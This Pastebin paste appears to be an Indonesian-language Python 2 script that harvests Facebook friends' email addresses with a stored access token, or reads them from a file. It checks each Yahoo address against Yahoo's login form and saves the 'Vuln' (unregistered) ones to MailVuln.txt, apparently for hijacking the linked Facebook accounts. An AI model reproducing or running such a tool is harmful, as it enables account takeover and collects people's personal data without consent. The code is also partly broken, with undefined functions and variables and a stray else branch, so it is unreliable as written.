SHARE
TWEET

Untitled

a guest Aug 20th, 2019 345 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib
  2. from multiprocessing.pool import ThreadPool
  3. try:
  4.     import mechanize
  5. except ImportError:
  6.     os.system('pip2 install mechanize')
  7. else:
  8.     try:
  9.         import requests
  10.     except ImportError:
  11.         os.system('pip2 install requests')
  12.  
  13. from requests.exceptions import ConnectionError
  14. from mechanize import Browser
  15. reload(sys)
  16. sys.setdefaultencoding('utf8')
  17. br = mechanize.Browser()
  18. br.set_handle_robots(False)
  19. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  20. br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  21.  
  22. def keluar():
  23.     print '\x1b[1;91m[!] Keluar'
  24.     os.sys.exit()
  25.  
  26.  
  27. def jalan(z):
  28.     for e in z + '\n':
  29.         sys.stdout.write(e)
  30.         sys.stdout.flush()
  31.         time.sleep(0.1)
  32.  
  33.  
  34. def tik():
  35.     titik = [
  36.      '.   ', '..  ', '... ']
  37.     for o in titik:
  38.         print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o,
  39.         sys.stdout.flush()
  40.         time.sleep(1)
  41.  
  42.  
  43. back = 0
  44. threads = []
  45. berhasil = []
  46. cekpoint = []
  47. gagal = []
  48.  
  49. vulnot = '\x1b[31mNot Vuln'
  50. vuln = '\x1b[32mVuln'
  51. def menu():
  52.     os.system('reset')
  53.     try:
  54.         toket = open('login.txt', 'r').read()
  55.     except IOError:
  56.         os.system('reset')
  57.         print '\x1b[1;91m[!] Token tidak ditemukan'
  58.         os.system('rm -rf login.txt')
  59.         time.sleep(1)
  60.         login()
  61.     else:
  62.         try:
  63.             otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
  64.             a = json.loads(otw.text)
  65.             nama = a['name']
  66.             id = a['id']
  67.         except KeyError:
  68.             os.system('reset')
  69.             print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
  70.             os.system('rm -rf login.txt')
  71.             time.sleep(1)
  72.             login()
  73.         except requests.exceptions.ConnectionError:
  74.             print '\x1b[1;91m[!] Tidak ada koneksi'
  75.             keluar()
  76.  
  77.     os.system('reset')
  78.     print logo
  79.     print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90'
  80.     print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama
  81.     print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
  82.     print '\x1b[1;37;40m1. yahoo vuln'
  83.     print '\x1b[1;31;40m0. Keluar            '
  84.     print
  85.     pilih()
  86.  
  87.  
  88. def pilih():
  89.     zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  90.     if zedd == '':
  91.         print '\x1b[1;91m[!] WAJIB ISI SOB'
  92.         pilih()
  93.     else:
  94.         if zedd == '1':
  95.             yahoo()
  96.         else :
  97.             if zedd == '0':
  98.                keluar()
  99.             else:
  100.                print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada'
  101.                pilih()
  102.                
  103.  
  104. def menu_yahoo():
  105.     os.system('reset')
  106.     try:
  107.         toket = open('login.txt', 'r').read()
  108.     except IOError:
  109.         print '\x1b[1;91m[!] Token tidak ditemukan'
  110.         os.system('rm -rf login.txt')
  111.         time.sleep(1)
  112.         login()
  113.  
  114.     os.system('reset')
  115.     print logo
  116.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  117.     print '\x1b[1;37;40m1. Dari teman facebook'
  118.     print '\x1b[1;37;40m2. Gunakan File'
  119.     print '\x1b[1;31;40m0. Kembali'
  120.     print
  121.     yahoo_pilih()
  122.  
  123.  
  124. def yahoo_pilih():
  125.     go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  126.     if go == '':
  127.         print '\x1b[1;91m[!] Jangan kosong'
  128.         yahoo_pilih()
  129.     else:
  130.         if go == '1':
  131.             yahoofriends()
  132.         else:
  133.             if go == '2':
  134.                 yahoolist()
  135.             else:
  136.                 if go == '0':
  137.                     menu_hack()
  138.                 else:
  139.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada'
  140.                     yahoo_pilih()
  141.  
  142.  
  143. def yahoofriends():
  144.     os.system('reset')
  145.     try:
  146.         toket = open('login.txt', 'r').read()
  147.     except IOError:
  148.         print '\x1b[1;91m[!] Token tidak ditemukan'
  149.         os.system('rm -rf login.txt')
  150.         time.sleep(1)
  151.         login()
  152.  
  153.     os.system('reset')
  154.     print logo
  155.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  156.     mpsh = []
  157.     jml = 0
  158.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  159.     teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  160.     kimak = json.loads(teman.text)
  161.     save = open('MailVuln.txt', 'w')
  162.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  163.     for w in kimak['data']:
  164.         jml += 1
  165.         mpsh.append(jml)
  166.         id = w['id']
  167.         nama = w['name']
  168.         links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
  169.         z = json.loads(links.text)
  170.         try:
  171.             mail = z['email']
  172.             yahoo = re.compile('@.*')
  173.             otw = yahoo.search(mail).group()
  174.             if 'yahoo.com' in otw:
  175.                 br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  176.                 br._factory.is_html = True
  177.                 br.select_form(nr=0)
  178.                 br['username'] = mail
  179.                 klik = br.submit().read()
  180.                 jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  181.                 try:
  182.                     pek = jok.search(klik).group()
  183.                 except:
  184.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  185.                     continue
  186.  
  187.                 if '"messages.ERROR_INVALID_USERNAME">' in pek:
  188.                     save.write(mail + '\n')
  189.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  190.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + nama
  191.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + id
  192.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]'
  193.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  194.                 else:
  195.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  196.         except KeyError:
  197.             pass
  198.  
  199.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  200.     print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  201.     save.close()
  202.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  203.     menu_yahoo()
  204.  
  205.  
  206. def yahoolist():
  207.     os.system('reset')
  208.     try:
  209.         toket = open('login.txt', 'r').read()
  210.     except IOError:
  211.         print '\x1b[1;91m[!] Token tidak ditemukan'
  212.         os.system('rm -rf login.txt')
  213.         time.sleep(1)
  214.         login()
  215.     else:
  216.         os.system('reset')
  217.         print logo
  218.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  219.         files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m')
  220.         try:
  221.             total = open(files, 'r')
  222.             mail = total.readlines()
  223.         except IOError:
  224.             print '\x1b[1;91m[!] File tidak ada'
  225.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  226.             menu_yahoo()
  227.  
  228.     mpsh = []
  229.     jml = 0
  230.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  231.     save = open('MailVuln.txt', 'w')
  232.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  233.     print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m:  \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m]  Green[\x1b[1;92m' + vuln + '\x1b[1;97m]'
  234.     print
  235.     mail = open(files, 'r').readlines()
  236.     for pw in mail:
  237.         mail = pw.replace('\n', '')
  238.         jml += 1
  239.         mpsh.append(jml)
  240.         yahoo = re.compile('@.*')
  241.         otw = yahoo.search(mail).group()
  242.         if 'yahoo.com' in otw:
  243.             br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  244.             br._factory.is_html = True
  245.             br.select_form(nr=0)
  246.             br['username'] = mail
  247.             klik = br.submit().read()
  248.             jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  249.             try:
  250.                 pek = jok.search(klik).group()
  251.             except:
  252.                 print '\x1b[1;91m ' + mail
  253.                 continue
  254.  
  255.             if '"messages.ERROR_INVALID_USERNAME">' in pek:
  256.                 save.write(mail + '\n')
  257.                 print '\x1b[1;92m ' + mail
  258.             else:
  259.                 print '\x1b[1;91m ' + mail
  260.  
  261.         print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  262.         print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  263.         save.close()
  264.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  265.         menu_yahoo()
  266.     else:
  267.         if '"is_shielded":false' in res.text:
  268.             os.system('reset')
  269.             print logo
  270.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  271.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan'
  272.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  273.             lain()
  274.         else:
  275.             print '\x1b[1;91m[!] Error'
  276.             keluar()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top